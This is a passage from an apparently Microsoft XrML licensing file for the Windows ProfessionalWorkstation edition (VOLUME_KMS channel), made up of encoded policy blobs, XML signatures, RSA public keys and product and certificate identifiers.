Algorithm="msft:rm/algorithm/phone/1.0">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</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{90da7373-1c51-430b-bf26-c97e9c5cdc31}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>e50ykNcMXW76/CO1C0An5ebNBMA=</DigestValue></Reference></SignedInfo><SignatureValue>fKMFdrJt115++KKI23S0nKyWgM+M4SoiuGUOYdg46rG/yWisCW1O3mIx8sYMhbFevVPzkIvlSC6rCgEoYa6ErZt1erQ+iwtQR/+AVRPBKyDVh+DLIVp2XsEyUDxZNIFlDvW34DCi3zwBOomz4XiaLpbQZel/lz+UMhjr+RKNsNTvK8Rk1LXTgY7glNzePLI52BMQLMzeKBscakSC+10BMIq0w1Bhajk6iqsRaStAnY7oNmertFXBzbCbrhjIvUo9sSYJ3tY/JLKTDVBg7qeQh2WbMzPLlpdwWImcaS1SZQUNRZMzhPdyI6FjTPKkRbBLeuUHezI3UHqip5R8bOTPsQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{90da7373-1c51-430b-bf26-c97e9c5cdc31}</tm:infoStr><tm:infoStr name="privateCertificateId">{5a5b920b-bf8a-4cc1-aad4-14961941eca0}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="phone:policy">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</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{5a5b920b-bf8a-4cc1-aad4-14961941eca0}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>mTVdj4W12+lpI44PTuvI1+9P1Qo=</DigestValue></Reference></SignedInfo><SignatureValue>X/pvkSh+6HvozOWCJUprcAox8TesEKganxwVFpbAGRmj6uelHQflUz5xRzdoZ2sfDwsvUPdGdOdGwOABsec/QnkI9o33GIGDhlYbqK5DhBDXDisiAivMLoIt5GeCVtIIEOIacEoK+0nBN3+brWbGi4Gxgg3QRaZE8iKosGa9n9oyZkXZxCmfDUNHJyewM/8spnTPc70BQA1U+HzDis+1a0VeHrT2e63+cpVIKjfqPuplogJRVV73ieUo/xz2Q0ct5ir2TrSn1NNuW8ar0c16Lrb3/bUWuRcQhbYRzJSj02gifxQomS73G1OuqfkjYL6n0soDBBhjFbnj0tZ3MxFw8g==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{7753aa3a-30ba-4188-bb2c-4e0e1d6109a9}</tm:infoStr><tm:infoStr name="productSkuId">{90da7373-1c51-430b-bf26-c97e9c5cdc31}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
